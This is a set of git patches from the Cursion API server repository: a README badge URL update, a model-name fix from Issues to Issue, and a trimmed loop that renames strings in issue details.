 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 13ebd329..ae820eff 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,6 @@
 # Cursion Server (API repo)
 
-![Build Status](https://github.com/cursion/server/actions/workflows/k8s-deploy.yaml/badge.svg)
+![Build Status](https://github.com/cursion-dev/server/actions/workflows/k8s-deploy.yaml/badge.svg)
 
 This is the server repo for the Cursion API, an error detection service designed to run front-end tests on web applications. This service is fully dockertized for local dev/testing as well as deployed environments. 
 

From ad5ca7291eeaf82e5408fa5ca255aec0fb3a8861 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 1 Oct 2024 11:43:56 -0600
Subject: [PATCH 751/752] fixing naming bug

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index f593b232..3938b6d5 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2173,7 +2173,7 @@ def update_strings(text) -> str:
             text = text.replace('scanerr', 'cursion')
         return text
 
-    for issue in Issues.objects.all():
+    for issue in Issue.objects.all():
         
         # update title
         title = update_strings(issue.title)

From 39324a254762a2fefdb7585001015deb76c56858 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 1 Oct 2024 12:06:36 -0600
Subject: [PATCH 752/752] fixing update links task

---
 app/api/tasks.py | 12 ------------
 1 file changed, 12 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 3938b6d5..dc3489d8 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2175,22 +2175,10 @@ def update_strings(text) -> str:
 
     for issue in Issue.objects.all():
         
-        # update title
-        title = update_strings(issue.title)
-        issue.title = title
-        
-        # update trigger
-        trigger = update_strings(issue.trigger)
-        issue.trigger = trigger
-
         # update details
         details = update_strings(issue.details)
         issue.details = details
 
-        # update affected
-        affected = update_strings(issue.affected)
-        issue.affected = affected
-
         # save issue
         issue.save()